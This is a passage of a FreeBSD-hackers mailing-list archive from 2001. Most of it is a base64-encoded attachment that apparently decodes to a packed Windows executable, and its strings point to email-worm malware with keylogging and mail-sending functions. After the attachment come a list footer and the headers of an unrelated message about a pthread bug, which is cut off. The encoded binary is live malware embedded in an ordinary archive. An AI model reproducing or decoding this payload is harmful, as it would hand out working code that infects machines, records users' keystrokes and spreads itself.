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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAABAAAAWAAAgBgAAIAAAAAAAAAAAAAAAAAAAAEAbgAAADAAAIAAAAAAAAAA AAAAAAAAAAEAGQQAAEgAAABwEAEAABYAAAAAAAAAAAAABABLAEQATABMAAAAAAAAAAAAAAAAAAAA DFEBANxQAQAAAAAAAAAAAAAAAAAZUQEA7FABAAAAAAAAAAAAAAAAACZRAQD0UAEAAAAAAAAAAAAA AAAAMVEBAPxQAQAAAAAAAAAAAAAAAAA8UQEABFEBAAAAAAAAAAAAAAAAAAAAAAAAAAAASFEBAFZR AQBmUQEAAAAAAHRRAQAAAAAAglEBAAAAAACIUQEAAAAAAA8AAIAAAAAAS0VSTkVMMzIuRExMAEFE VkFQSTMyLmRsbABNU1ZDUlQuZGxsAFVTRVIzMi5kbGwAV1NPQ0szMi5kbGwAAABMb2FkTGlicmFy eUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAcmFuZAAAU2V0 VGltZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEylVPhKoVL+u09O/s3Mxf7LxMD8SLVN4E69U/7PIND4sk9H8DAy3/zIJdD+ySHS/s083/6DgWps lQozMvC2Q7WlX7JPQ7myX029s7a1TLVai2+GinedaFVCjWWDbI9rb4ZEUoeVbpqPd0tau3FyaJmO SJSBjGOVb05YqGlQj2ibZf5jgWpslQozKqyVdmX+Y5RsEK6UbGz+g04fyDHDxiWubopz/m2RkRCu lo9qbZGREKibb23+cZOLZYR3sJaPam2RkRCom29t/nGTi2WEd7CWj2ptkZEQqJtvbfykcZNr3mWP ddksnrdv3JaKed5h3muBamUh/nd3d/jisZzqAODOdQD4tHAA/r1wAPxicAD+b3AA/g0AAADgcADw WHAA/kVwAPw2cAD+KXAA+BxwAPz2cAD+GQAAAAAAAP4BAAAAAAAAAAAAAAAAAAD8QgAAAAAAAAAA /l/9D/3yCg== --====_ABC1234567890DEF_==== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 7:37: 4 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mx2.magma.ca (mx2.magma.ca [206.191.0.250]) by hub.freebsd.org (Postfix) with ESMTP id 5039A37B445 for ; Tue, 27 Nov 2001 07:36:53 -0800 (PST) Received: from mail1.magma.ca (mail1.magma.ca [206.191.0.252]) by mx2.magma.ca (8.9.3/8.9.3) with ESMTP id KAA29662 for ; Tue, 27 Nov 2001 10:36:53 -0500 (EST) Received: from durandal (mothership.macadamian.com [206.191.21.204]) by mail1.magma.ca (8.11.2/8.11.2) with SMTP id fARFap818178 for ; Tue, 27 Nov 2001 10:36:52 -0500 (EST) Message-ID: <1f03401c17759$d168b720$2964a8c0@macadamian.com> From: "Louis-Philippe Gagnon" To: Subject: possible lib_c pthread bug Date: Tue, 27 Nov 2001 10:40:18 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG No reaction from the 